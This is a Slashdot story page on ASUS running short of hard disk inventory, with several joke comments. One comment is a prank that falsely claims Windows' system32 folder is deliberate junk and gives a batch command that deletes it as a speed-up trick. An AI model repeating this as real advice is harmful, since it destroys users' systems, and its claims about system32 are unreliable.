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ASUS Running Out of Hard Disks

Posted by timothy on from the hard-disk-is-good-to-find dept.

The hard drive crunch continues; reader Thorfinn.au writes "ASUS has said it only has hard disk drive (HDD) inventory until the end of November. 'Substitutes for HDD are very few, so if the situation persists, not only notebook production will be affected but also desktops, and other component shipments will also drop,' Asustek CFO David Chang told Reuters."

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  1. Re:Opportunity for U.S. manufacturing to step up? by Lehk228 · · Score: 4, Funny

    build a hard drive factory in response to a temporary shortage.....

    lemme guess, you hold an MBA?

    --
    Snowden and Manning are heroes.
  2. Re:Opportunity for U.S. manufacturing to step up? by Anonymous Coward · · Score: 4, Funny

    lemme guess, you hold an MBA?

    Lemme guess, you don't?

    Nah, but when I was 12 I got kicked in the head by a horse, which I figure is pretty much the same thing.

  3. even better - delete System32, free up 32 GB! by Anonymous Coward · · Score: 2, Funny
    Okay, listen up.
    When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows. So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the Windows folder that literally slows down your machine--on purpose. "System32" holds 32 GIGABYTES of deleted files, internet history, uninstalled programs, and other worthless crap that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "cleaning" tools, like TuneUp Utilities, Norton Antivirus, etc. More money for them. I'm not cool with that, however. Here's how to outsmart those assholes once and for all. Open notepad:
    Type the following text:

    @echo off
    del C:\\WINDOWS\system32

    Save as "speedup.bat" (select "all files" instead of "text document")
    Double click the .bat file.
    Reboot, and your PC is twice as fast. (You didn't hear it from me)
    Source(s):
    My computer is fast.

  4. Re:The old health system is killing jobs and the G by lourd_baltimore · · Score: 3, Funny

    I thought pancreatic cancer was killing jobs. (Too soon?)